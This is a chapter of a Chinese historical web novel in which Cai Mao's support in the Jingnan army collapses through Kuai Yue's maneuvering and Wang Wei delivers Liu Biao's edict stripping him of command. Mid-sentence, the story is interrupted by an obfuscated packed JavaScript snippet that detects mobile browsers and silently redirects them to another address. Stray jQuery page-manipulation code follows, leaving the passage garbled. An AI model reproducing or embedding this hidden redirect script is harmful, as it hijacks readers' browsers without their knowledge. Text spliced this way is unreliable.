武陵的夏日，总是带着一股化不开的湿闷。


    临沅城外的荆州军大营，旌旗在湿热无风的空气中低垂，连士卒操练的呼喝声都显得有气无力。


    中军大帐内，蔡瑁放下手中那份迟来了三日的粮草调度文书，眉头紧锁。


    这已经不是第一次了，自从刘琦捷报传来后，来自襄阳、江陵的各类物资、文书，总会晚上那么几天，仿佛整条补给线都染上了荆南的瘴气，变得迟缓、黏腻。


    而更让蔡瑁心头蒙上阴影的，是军中氛围的微妙变化。


    往日里，那位以谄媚著称的校尉张南，每逢清晨点卯，必定最早赶到帐外候着，总会寻些由头凑上前来，或是汇报些无关紧要的军情，或是关切地问候自己起居。


    可这两日，张南只是踩着鼓声的最后一响进帐，规规矩矩行礼，汇报完所属部曲的情况后，便垂首退到一旁，目光也不再与蔡瑁对视。


    掌管军械的司马王恺，是蔡瑁一手提拔起来的寒门将领，以往事无巨细都要向他请示，最近却接连三日未曾露面，派人去问，只回说在清点库房，忙得脱不开身。


    甚至连他安插在军中各要害位置的蔡氏子弟，那些掌管粮秣、军械、文书往来的族侄、外甥们，近来递送文书时，也都显得有些心不在焉，眼神闪烁，仿佛在躲避什么。


    一种无形的隔阂，正在蔡瑁与荆南大军之间悄然滋生。


    “去请蔡督粮过来。”蔡瑁压下心头的不安，对亲兵吩咐道。


    蔡瑁口中的蔡督粮，是他的族弟蔡中，掌管着这万余大军的粮草命脉。


    亲兵去了半晌才回来，脸上带着几分惶恐：“都督，督粮官说…说正在清点库房存粮，稍后便来。”


    “清点库房？”蔡瑁的脸色彻底沉了下来。


    蔡瑁猛地起身，不打算再等待，径直走向位于大营一角的粮草官署。


    尚未进门，便听见里面传来族弟蔡中压低的声音，带着明显的焦虑：“…蒯别驾的信里说得再明白不过，风向变了，咱们也该早作打…”


    这时帐帘被猛地掀开，蔡中与几名正在议事的蔡氏子弟见到面色铁青的蔡瑁，顿时如同被掐住脖子的鸭子，声音戛然而止。


    蔡中手中一份绢帛书信“啪嗒”一声掉在地上。


    蔡瑁目光如刀，扫过众人惊惶的脸，弯腰捡起那封书信。


    信是荆州别驾蒯越写的，字迹工整，内容看似只是例行通报——详细描述了刘琦在江夏如何大破孙权、生擒周瑜，麾下已有四万余精锐，舟师千艘，声势如日中天，那军容之盛，据说让江东将士望风而逃，连看都不敢多看一眼.........


    看到这里，蔡瑁突然冷笑起来，声音里带着刺骨的寒意：“好个蒯异度！好一招敲山震虎！”


    蔡瑁猛地将信纸拍在案上，目光锐利地扫过在场众人：“难怪这几日营中气氛诡异，连你们都惶惶不可终日！”


    “原来是他蒯越在暗中散布消息，把刘伯瑜的声势传得人尽皆知！这是防着我蔡某人狗急跳墙啊！”


    蔡瑁死死盯着蔡中，语气愈发凌厉：“怎么？连我蔡家的粮草官，如今也要先揣度蒯别驾的用意，才敢做事了？你们就这么急着另寻靠山？”


    帐中一时间如死一般的寂静，只有粗重的呼吸声此起彼伏。


    最终还是蔡中硬着头皮开口，声音干涩：“兄长息怒...实在是、实在是蒯别驾已经将长公子大捷的消息传遍全军了，现在各营都在传，说长公子手握四万雄兵，舟师千艘......”


    蔡中越说越慌，声音断断续续：“而且、而且蒯别驾还特意派人到各营传话，说襄阳正在为长公子大办六礼，广邀天下宾客...连益州、交州的使者都到了...“


    蔡中的声音越来越低，几乎是在嗫嚅：“现在全军上下都知道...知道主公对荆南战事迁延日久，颇为不满...”


    “不满？”蔡瑁一脚踢翻旁边堆积的粮册竹简，暴怒道：“某在这瘴疠之地，与蛮子浴血苦战数月！他刘景升在襄阳大办婚礼，歌舞升平，倒是有闲心对某不满？！”


    蔡瑁猛地拔出亲兵腰间的佩刀，狠狠劈在面前的案几上，木屑纷飞！


    “没有老子在这里顶着，他刘景升能在襄阳安稳地当他的州牧？没有我们蔡家当初鼎力支持，他能单骑定荆州？！”


    “叔父慎言！”蔡中慌忙上前劝阻，脸色煞白，“如今....如今伯瑜公子声势正盛，连庞德公、司马徽那等人物都破例下山观礼....咱们...咱们不如....”


    蔡中咽了口唾沫，有些艰难地说道，“....不如暂且隐忍，看看风向....”


    “隐忍？看看风向？”蔡瑁逼视着族弟，眼中布满血丝，“然后呢？把蔡家经营数十年的荆襄基业，把某一手操练的荆州水师精锐，拱手让给那黄口小儿？！”


    此刻的蔡瑁心中的怒火与一种被背叛的**交织在一起，几乎要冲破胸膛。


    “他蒯异度不是怕我拥兵自重吗？他不是在军中散布谣言，动摇我的军心吗？好！好！好！”


    蔡瑁连说三个“好”字，状若癫狂，“既然刘景升不仁，就休怪我蔡瑁不义了！某这就修书给武陵蛮帅，许他钱粮甲胄，这荆南四郡张羡占得，某难道就占不得？！”


    蔡瑁此言一出，满座皆惊！


    “哐当！”


    一名年轻蔡氏子弟手中的兵册惊得掉在地上，他脸色瞬间惨白如纸，手足无措地看了看暴怒的蔡瑁，又看了看周围沉默的族人，突然像是被火烧了屁股一样，踉跄着退出大帐，边走边语无伦次地喃喃：“侄儿.....侄儿什么都没听见...什么都没听见..”边喊边跑着仿佛身后有洪水猛兽。


    而其余蔡氏众人，或死死低着头盯着自己的鞋尖，仿佛上面有朵花，或眼神飘忽，左顾右盼，就是不敢看蔡瑁，有人嘴唇哆嗦着，想说什么，最终却化作一声几不可闻的叹息，或一句苍白的“叔父勿戏言之类的话....”


    没有一个人，敢接蔡瑁“做张羡”的话头。


    蔡瑁握着刀柄的手，因为用力而指节发白，微微颤抖。


    蔡瑁看着眼前这些惶惶不可终日的族中子弟，心一点点沉入冰窖。


    他明白了，全明白了，蒯越这一手太狠了！


    根本不需要派兵来**，只需要把刘琦得势、他蔡瑁失势的消息在军中散播开来，就足以瓦解他所有的根基！


    这些族中子弟尚且如此，军中那些非蔡氏嫡系的将领，那些普通的士卒，又有几个会跟着失势的他，去走一条注定身死族灭的叛乱之路？


    更何况，刘表尚在，大义名分仍在襄阳，此时**，无异于自寻死路！


    一时间，一种巨大的无力感和悲凉，瞬间淹没了这位曾经权倾荆州的蔡都督。


    就在这时，帐外传来亲兵急促的脚步声和带着惊慌的禀报：“都督！蒯别驾派人来请，说是...说是襄阳来的使者已到他的行辕，带了主公的诏书，请都督即刻过去！”


    闻言蔡瑁身体几不可察地晃了一下。该来的，终究还是来了。


    蒯越这一手“攻心为上”，堪称乱世权力博弈的典范。


    蒯越敏锐地预判到刘琦的强势崛起必然引发蔡瑁的恐慌，于是未雨绸缪地在军中布局。


    借助掌管文书往来之便，蒯越将刘琦大破孙权、手握重兵的消息，通过日常公文传递与将士闲谈，如春雨般悄然渗入大营每个角落。


    当全军上下都看清蔡瑁大势已去，蔡瑁精心栽培出来所谓的嫡系自然是分崩离析。


    这正是蒯越身为顶级谋士的过人之处，不费一兵一卒，便为即将到来的权力更迭铺平道路。


    不一会的功夫，蔡瑁便策马来到蒯越设在临沅城内的临时行辕。


    而此时行辕外的气氛与往日截然不同，守卫的士卒数量增加了数倍，而且不再是熟悉的荆南守军，而是数十名风尘仆仆、甲胄沾染泥泞却眼神锐利的陌生甲士。


    他们按剑而立，虽然难掩疲惫之色，但那股子沙场老兵的肃杀之气，却让周遭的空气都凝滞了几分。


    蔡瑁目光扫过这些陌生的面孔，从他们甲胄的制式与风尘仆仆的模样，立刻判断出这是从襄阳昼夜兼程赶来的兵马。


    “哼，来得倒是挺快。”蔡瑁冷哼一声，利落地翻身下马，将缰绳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818121|187382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    随手甩给迎上来的卫兵，整了整衣冠便大步迈进行辕。


    既然襄阳的人已经到了，蔡瑁倒要看看，刘景升究竟给他准备了怎样的结局。


    随后蔡瑁走进议事厅，只见蒯越端坐主位左侧，神色平静，看不出喜怒。


    而主位之上，端坐着一身戎装、面容冷峻的王威。


    王威甚至没有更换旅途劳顿的衣甲，就那么直接坐在那里，仿佛在无声地宣示着他的到来和目的。


    厅内两侧，同样肃立着十余名王威的亲兵，手始终按在刀柄上。


    蔡瑁见到王威瞬间，心中暗道：“果然是你。”


    这位与文聘齐名的寒门将领，蔡瑁太熟悉了。


    多年来，刘表不断提拔王威、文聘这等非世家出身的将领，蔡瑁岂会不知其中深意？


    不就是用来制衡他们这些荆州大族的棋子么？


    如今棋子终于落定，直指他蔡瑁而来。


    王威没有多余的寒暄，见蔡瑁进来，便直接起身，从怀中取出一卷玄色绢帛，朗声道：“蔡都督，王威奉主公之命，前来宣诏。”


    王威的声音在空旷的议事厅内回荡，带着不容置疑的威严。


    “制诏：荆南都督蔡瑁，自督师以来，夙夜辛劳，孤心甚慰。然荆南战事迁延，孤亦深忧。念尔劳苦功高，特召还襄阳荣养，以示体恤。”


    “别驾蒯越，调度失宜，贻误军机，着革去别驾之职，仍留荆南戴罪立功。”


    “即日起，荆南诸军事务由襄阳督防王威都督，克日平定武陵蛮乱。望尔等各司其职，不得有误！”


    王威念完诏书，目光平静地看向蔡瑁：“蔡都督，请交割印信吧。”


    蔡瑁站在原地，身体僵硬，刘表这份诏书处处透着精妙的权衡——既夺了他蔡瑁的兵权，又敲打了蒯越，同时也让王威、蒯越二人互相掣肘。


    王威虽得都督之名，却无总揽军政之权，分明是还要受蒯越这个“戴罪立功”的旧吏牵制。


    蔡瑁沉默了片刻，忽然发出一声意味不明的轻笑。


    蔡瑁目光扫过面前二人，声音里带着几分讥诮：“当年高皇帝诛韩信，武帝废窦婴.....都说刘家天子刻薄寡恩。”


    蔡瑁顿了顿，视线定格在虚空中的某处，“不想景升兄虽非天子，这御下的手段，倒是得了高祖真传。”


    蒯越闻言神色不变，只轻轻整理了下袖口，从容应道：


    “德珪兄此言差矣。昔日光武皇帝中兴汉室，亦曾云''置酒高会，何如临阵破敌''。景升公此番安排，正是欲使德珪兄暂离征尘，安享太平。”


    “而越在荆南这瘴疠之地，日夜期盼的便是王将军能早日平定这蛮乱，使百姓安居乐业。届时越也可卸下这别驾重任，重返襄阳故里，与德珪兄同赏汉水烟波。”


    蒯越这番话看似闲谈，实则是暗示蔡瑁回襄阳荣养已是当下最好的结局。


    王威适时上前一步，玄甲发出铿锵之声：“请蔡都督交割印信，即刻安排返襄事宜。主公之意，是请都督‘即刻’动身。”王威特意加重了“即刻”二字。


    蔡瑁看着眼前这一幕，知道自己大势已去。


    随即惨然一笑，不再多言，默默取出了象征荆南都督权力的银印和调兵虎符，重重地放在了王威面前的案几上。


    金属与木案撞击，发出沉闷的响声，蔡瑁这十余年在荆州经营的**生命，就在这一声中戛然而断。


    刘表之所以在诏书中强调“即刻返襄”，除了担心夜长梦多，蔡瑁狗急跳墙外，更深层的原因在于他对自己身体的不自信，以及对荆州整体利益的考量。


    刘表刻意拖延荆南军需，本是为了压制蔡瑁，但这把双刃剑也实实在在地损害了荆州自身的实力，导致平叛进程缓慢，士卒伤亡增加，荆南民生凋敝。


    而每多拖延一日，荆州的元气就多损耗一分。


    因此，刘表必须在换将之后，以最快的速度结束荆南乱局。


    而王威也深刻理解这一点，所以他雷厉风行，甚至不给蔡瑁任何拖延或布置后手的时间，要求其立刻离开军队，以确保权力过渡的平稳和后续平定蛮乱行动的顺利展开。